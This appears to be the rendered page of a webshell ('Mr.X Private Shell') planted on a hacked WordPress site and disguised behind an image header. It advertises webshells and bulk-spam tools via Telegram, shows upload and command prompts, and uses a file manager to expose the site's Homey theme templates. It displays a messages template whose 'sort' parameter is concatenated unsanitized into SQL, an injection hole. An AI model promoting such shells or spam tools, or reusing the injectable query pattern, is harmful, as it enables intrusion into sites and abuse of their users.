����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

airtcsob@216.73.216.249: ~ $
<?php
/**
 * Template Name: Dashboard Messages
 */
if ( !is_user_logged_in() ) {
    wp_redirect(  home_url('/') );
}

get_header();
global $current_user, $wpdb, $userID, $homey_threads;

$sort = isset($_REQUEST['sort']) ? $_REQUEST['sort'] : 'DESC';
$messages_page = homey_get_template_link('template/dashboard-messages.php');
$mine_messages_link = add_query_arg( 'mine', '1', $messages_page );

wp_get_current_user();
$userID = $current_user->ID;

$tabel = $wpdb->prefix . 'homey_threads';
//pagination related meta data
$items_per_page = isset( $_GET['per_page'] ) ? abs( (int) $_GET['per_page'] ) : 25;
$page = (get_query_var('paged')) ? get_query_var('paged') : 1;
$offset = ( $page * $items_per_page ) - $items_per_page;
// end pagination related meta data

if(homey_is_admin()) {
    if(isset($_GET['mine'])) {
        $total_query = $wpdb->prepare(
            "
            SELECT COUNT(sender_id) as total_results
            FROM $tabel 
            WHERE sender_id = %d OR receiver_id = %d
            ORDER BY id ".$sort."
             LIMIT %d, %d
            ",
            $userID,
            $userID,
            $offset,
            $items_per_page
        );

        $message_query = $wpdb->prepare(
            "
            SELECT * 
            FROM $tabel 
            WHERE sender_id = %d OR receiver_id = %d
            ORDER BY id ".$sort."
            LIMIT %d, %d
            ",
            $userID,
            $userID,
            $offset,
            $items_per_page
        );
    } else {
        $total_query = 'SELECT COUNT(sender_id) as total_results
        FROM '.$tabel.' 
        ORDER BY id '.$sort;

        $message_query = 'SELECT * 
        FROM '.$tabel.' 
        ORDER BY id '.$sort.' LIMIT '.$offset.', '.$items_per_page;
    }

} else {
    $total_query = $wpdb->prepare(
        "
        SELECT COUNT(sender_id) as total_results
        FROM $tabel 
        WHERE sender_id = %d OR receiver_id = %d
        ORDER BY id ".$sort."
        ",
        $userID,
        $userID
    );

    $message_query = $wpdb->prepare(
        "
        SELECT * 
        FROM $tabel 
        WHERE sender_id = %d OR receiver_id = %d
        ORDER BY id ".$sort." LIMIT %d, %d
        ",
        $userID,
        $userID,
        $offset,
        $items_per_page
    );
}

$total_result = $wpdb->get_results( $total_query );

// $total_pages = absint((isset($total_result[0]->total_results)?$total_result[0]->total_results:1)/$items_per_page);
// update total pages by Zahid K
$total_pages = ceil((isset($total_result[0]->total_results) ? $total_result[0]->total_results : 1) / $items_per_page);

$homey_threads = $wpdb->get_results( $message_query );
?>


    <section id="body-area">

        <div class="dashboard-page-title">
            <h1><?php echo esc_html__(the_title('', '', false), 'homey'); ?></h1>
        </div><!-- .dashboard-page-title -->

        <?php get_template_part('template-parts/dashboard/side-menu'); ?>

        <div class="user-dashboard-right dashboard-without-sidebar">
            <div class="dashboard-content-area">
                <div class="container-fluid">
                    <div class="row">
                        <div class="col-lg-12 col-md-12 col-sm-12">
                            <div class="dashboard-area">

                                <?php
                                if(isset($_GET['message']) && $_GET['message'] == 'new') {
                                    get_template_part('template-parts/dashboard/messages/new');
                                } else { ?>

                                    <?php if ( isset( $_REQUEST['thread_id'] ) && !empty( $_REQUEST['thread_id'] ) ) {
                                        get_template_part('template-parts/dashboard/messages/detail');

                                    } else {
                                        ?>
                                        <div class="block">
                                            <div class="block-title">
                                                <div class="block-left">
                                                    <h2 class="title"><?php echo esc_html__('From', 'homey'); ?></h2>
                                                    <?php if(homey_is_admin()) { ?>
                                                        <div class="mt-10">
                                                            <a class="btn btn-primary btn-slim" href="<?php echo esc_url($messages_page); ?>"><?php esc_html_e('All', 'homey'); ?></a>
                                                            <a class="btn btn-primary btn-slim" href="<?php echo esc_url($mine_messages_link); ?>"><?php esc_html_e('Mine', 'homey'); ?></a>
                                                        </div>
                                                    <?php } ?>
                                                </div>

                                                <div class="block-right">
                                                    <form>
                                                        <label for="" class="title"><?php echo esc_html__('Sort', 'homey'); ?></label>
                                                        <select onchange="this.form.submit();" name="sort">
                                                            <option <?php echo @$_REQUEST['sort'] == 'asc' ? 'selected' : ''; ?> value="asc">ASC</option>
                                                            <option <?php echo @$_REQUEST['sort'] == 'desc' ? 'selected' : ''; ?> value="desc">DESC</option>
                                                        </select>
                                                    </form>
                                                </div>
                                            </div>

                                            <?php if ( sizeof( $homey_threads ) != 0 ) { ?>
                                                <div class="table-block dashboard-message-table">
                                                    <?php get_template_part('template-parts/dashboard/messages/messages');  ?>
                                                </div><!-- .table-block -->
                                            <?php } else { ?>
                                                <div class="block-body">
                                                    <?php esc_html_e("You don't have any message at this moment.", 'homey'); ?>
                                                </div>
                                            <?php } ?>
                                        </div><!-- .block -->
                                        <?php
                                    }
                                }
                                ?>
                            </div><!-- .dashboard-area -->
                            <!--start pagination-->
                            <?php homey_pagination($total_pages); ?>
                            <!--end pagination-->
                        </div><!-- col-lg-12 col-md-12 col-sm-12 -->
                    </div>
                </div><!-- .container-fluid -->
            </div><!-- .dashboard-content-area -->
        </div><!-- .user-dashboard-right -->

    </section><!-- #body-area -->


<?php get_footer();?>

Filemanager

Name Type Size Permission Actions
dashboard-exp-payment.php File 16.95 KB 0644
dashboard-experience-submission.php File 8.29 KB 0644
dashboard-experience-submitted.php File 5.79 KB 0644
dashboard-experiences.php File 11.37 KB 0644
dashboard-favorites.php File 8.54 KB 0644
dashboard-invoices.php File 7.31 KB 0644
dashboard-listing-submitted.php File 6.84 KB 0644
dashboard-listings.php File 11.73 KB 0644
dashboard-membership-host.php File 11.66 KB 0644
dashboard-messages.php File 7.17 KB 0644
dashboard-payment.php File 16.84 KB 0644
dashboard-profile.php File 6.08 KB 0644
dashboard-reservations-experiences.php File 6.85 KB 0644
dashboard-reservations.php File 9.61 KB 0644
dashboard-reservations2-experiences.php File 1.16 KB 0644
dashboard-reservations2.php File 2.29 KB 0644
dashboard-submission.php File 7.79 KB 0644
dashboard-wallet.php File 4.39 KB 0644
dashboard.php File 2.75 KB 0644
template-compare-exp.php File 6.68 KB 0644
template-compare.php File 10.05 KB 0644
template-exp-search.php File 531 B 0644
template-experience-card.php File 6.54 KB 0644
template-experience-grid.php File 6.33 KB 0644
template-experience-list.php File 6.22 KB 0644
template-experience-sticky-map.php File 6.37 KB 0644
template-half-map-exp.php File 2.19 KB 0644
template-half-map.php File 2.17 KB 0644
template-homepage.php File 618 B 0644
template-ical-exp.php File 1.72 KB 0644
template-ical.php File 1.77 KB 0644
template-instance-booking.php File 1.06 KB 0644
template-instance-exp-booking.php File 831 B 0644
template-listing-all-reviews.php File 4.13 KB 0644
template-listing-as-page.php File 298 B 0644
template-listing-card.php File 6.7 KB 0644
template-listing-grid-v2.php File 7.03 KB 0644
template-listing-grid.php File 6.74 KB 0644
template-listing-list-v2.php File 6.74 KB 0644
template-listing-list.php File 6.34 KB 0644
template-listing-sticky-map.php File 6.58 KB 0644
template-membership-webhook.php File 37.93 KB 0644
template-page.php File 2.61 KB 0644
template-search.php File 495 B 0644
template-splash-exp.php File 3.74 KB 0644
template-splash.php File 3.35 KB 0644
template-stripe-charge-exp.php File 7.4 KB 0644
template-stripe-charge.php File 11.83 KB 0644
template-subscriptions-payment-complete.php File 23 KB 0644
template-subscriptions-stripe-charge.php File 3.98 KB 0644
template-verification.php File 2.76 KB 0644
template-woocommerce.php File 2.02 KB 0644
testing.php File 87 B 0644